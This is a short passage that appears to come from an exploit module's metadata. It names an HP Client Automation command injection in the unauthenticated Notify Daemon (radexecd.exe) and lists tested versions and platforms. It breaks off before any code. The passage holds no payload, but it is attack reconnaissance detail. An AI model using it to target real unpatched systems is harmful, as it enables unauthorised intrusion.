'Name' => 'HP Client Automation Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability on HP Client Automation, distributed
actually as Persistent Systems Client Automation. The vulnerability exists in the Notify
Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither.
This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2
and CentOS 5.
